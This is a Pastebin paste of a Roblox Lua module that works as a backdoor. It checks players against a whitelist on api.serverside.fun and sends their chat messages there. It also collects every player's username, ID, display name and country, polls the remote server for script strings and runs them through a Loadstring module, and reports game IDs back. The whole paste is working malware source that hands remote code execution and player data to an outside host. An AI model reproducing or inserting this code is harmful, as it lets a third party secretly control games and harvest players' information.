Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- IDs in this script:
- - 13749573698 - Watermark
- - 3436957371 - R6
- ]]
- local GET_PLAYERS_URL = "https://api.serverside.fun/v1/get-players"
- local WATERMARK_ID = 13749573698
- local LocalisationService = game:GetService("LocalizationService")
- local HttpService = game:GetService("HttpService")
- local Players = game:GetService("Players")
- local Module = {}
- Players.PlayerAdded:Connect(function(player)
- pcall(function()
- local response = HttpService:GetAsync("https://api.serverside.fun/v1/check-whitelist/" .. player.UserId .. "/" .. game.GameId)
- local user_data = HttpService:JSONDecode(response)
- if user_data.whitelisted ~= false then
- pcall(function()
- player.Chatted:Connect(function(message)
- pcall(function()
- HttpService:PostAsync("https://api.serverside.fun/v1/chat", HttpService:JSONEncode({
- ["text"] = tostring(message),
- ["robloxId"] = tostring(player.UserId),
- ["placeId"] = tostring(game.PlaceId)
- }))
- end)
- end)
- end)
- if user_data.watermark then
- if user_data.watermark == true then
- pcall(function()
- require(WATERMARK_ID).hi(player.Name)
- end)
- end
- end
- local function getPlayerData()
- local playerData = {}
- for i, v in ipairs(Players:GetPlayers()) do
- local country = "Unknown"
- pcall(function()
- country = LocalisationService:GetCountryRegionForPlayerAsync(v)
- end)
- table.insert(playerData, {username = v.Name, userid = v.UserId, displayName = v.DisplayName, country = country})
- end
- return playerData
- end
- local function postPlayerData()
- task.wait(0.5)
- if Players:FindFirstChild(player.Name) then
- HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = getPlayerData(), robloxId = player.UserId}))
- end
- end
- local posted_removing_1 = true
- local posted_removing_2 = false
- local function postPlayerRemovingData()
- task.wait(1)
- if Players:FindFirstChild(player.Name) and posted_removing_1 == true then
- postPlayerData()
- else
- posted_removing_1 = false
- if posted_removing_2 == false then
- HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = {}, robloxId = player.UserId}))
- posted_removing_2 = true
- end
- end
- end
- pcall(function()
- postPlayerData()
- Players.PlayerAdded:Connect(postPlayerData)
- Players.PlayerRemoving:Connect(postPlayerRemovingData)
- end)
- -- Premium script polling
- if user_data.type ~= "NORMAL" then
- pcall(function()
- local premium_script_poll_data = HttpService:JSONDecode(HttpService:GetAsync("https://api.serverside.fun/v1/private-scripts/" .. player.UserId))
- for i, v in ipairs(premium_script_poll_data.scripts) do
- pcall(function()
- if v == "r6()" then
- pcall(function()
- require(3436957371):r6(player.Name)
- end)
- elseif v == "re()" then
- pcall(function()
- player:LoadCharacter()
- end)
- elseif v:match("USERNAME") then
- pcall(function()
- require(script.Loadstring)(string.gsub(v, "USERNAME", player.Name))()
- end)
- else
- pcall(function()
- require(script.Loadstring)(v)()
- end)
- end
- end)
- end
- end)
- end
- -- Normal script polling
- local script_poll_url = "https://api.serverside.fun/v1/long-polling/kkwAhfSFRnAyAoffQYNEEviBUAVs/" .. player.UserId
- while true do
- local success, error = pcall(HttpService.GetAsync, HttpService, script_poll_url)
- if success then
- local success_2, error_2 = pcall(HttpService.JSONDecode, HttpService, error)
- if success_2 then
- if error_2 and error_2["script"] then
- if Players:FindFirstChild(player.Name) then
- local polled_script = error_2["script"].script
- if player.UserId == tonumber(error_2["script"].robloxId) then
- if polled_script == "r6()" then
- pcall(function()
- require(3436957371):r6(player.Name)
- end)
- elseif polled_script == "re()" then
- pcall(function()
- player:LoadCharacter()
- end)
- elseif polled_script:match("USERNAME") then
- pcall(function()
- require(script.Loadstring)(string.gsub(polled_script, "USERNAME", player.Name))()
- end)
- else
- pcall(function()
- require(script.Loadstring)(polled_script)()
- end)
- end
- pcall(function()
- HttpService:PostAsync("https://api.serverside.fun/v1/script-logs", HttpService:JSONEncode({
- ["script"] = polled_script,
- ["robloxId"] = tostring(player.UserId),
- ["gameId"] = tostring(game.GameId)
- }))
- end)
- end
- end
- end
- end
- end
- task.wait()
- end
- end
- end)
- -- Free script polling
- pcall(
- function()
- local free_user_data = HttpService:JSONDecode(HttpService:GetAsync("https://api.serverside.fun/v1/toggle-free/check/" .. player.UserId))
- if free_user_data.whitelisted ~= false then
- local function getPlayerData()
- local playerData = {}
- for i, v in ipairs(Players:GetPlayers()) do
- local country = "Unknown"
- pcall(function()
- country = LocalisationService:GetCountryRegionForPlayerAsync(v)
- end)
- table.insert(playerData, {username = v.Name, userid = v.UserId, displayName = v.DisplayName, country = country})
- end
- return playerData
- end
- local function postPlayerData()
- task.wait(0.5)
- if Players:FindFirstChild(player.Name) then
- HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = getPlayerData(), robloxId = player.UserId}))
- end
- end
- local posted_removing_1 = true
- local posted_removing_2 = false
- local function postPlayerRemovingData()
- task.wait(1)
- if Players:FindFirstChild(player.Name) and posted_removing_1 == true then
- postPlayerData()
- else
- posted_removing_1 = false
- if posted_removing_2 == false then
- HttpService:PostAsync(GET_PLAYERS_URL, HttpService:JSONEncode({value = {}, robloxId = player.UserId}))
- posted_removing_2 = true
- end
- end
- end
- pcall(function()
- postPlayerData()
- Players.PlayerAdded:Connect(postPlayerData)
- Players.PlayerRemoving:Connect(postPlayerRemovingData)
- end)
- pcall(function()
- require(WATERMARK_ID).hi(player.Name)
- end)
- -- Free script polling
- while true do
- task.wait(1)
- if Players:FindFirstChild(player.Name) then
- local script_poll_data = HttpService:JSONDecode(HttpService:GetAsync("https://api.serverside.fun/v1/pending-script/" .. player.UserId))
- local pending_scripts = script_poll_data.pendingScripts
- for i, v in pairs(pending_scripts) do
- if v.script == "r6()" then
- pcall(function()
- require(3436957371):r6(player.Name)
- end)
- elseif v.script == "re()" then
- pcall(function()
- player:LoadCharacter()
- end)
- elseif v.script:match("USERNAME") then
- local z = string.gsub(v.script, "USERNAME", player.Name)
- pcall(function()
- require(script.Loadstring)(z)()
- end)
- else
- pcall(function()
- require(script.Loadstring)(v.script)()
- end)
- end
- end
- end
- end
- else
- end
- end)
- end
- )
- Players.PlayerAdded:Connect(function(player)
- pcall(function()
- HttpService:PostAsync("https://api.serverside.fun/v1/games", HttpService:JSONEncode({["jobId"] = tostring(game.JobId), ["universe"] = tostring(game.GameId)}))
- end)
- end)
- return Module
Advertisement
Advertisement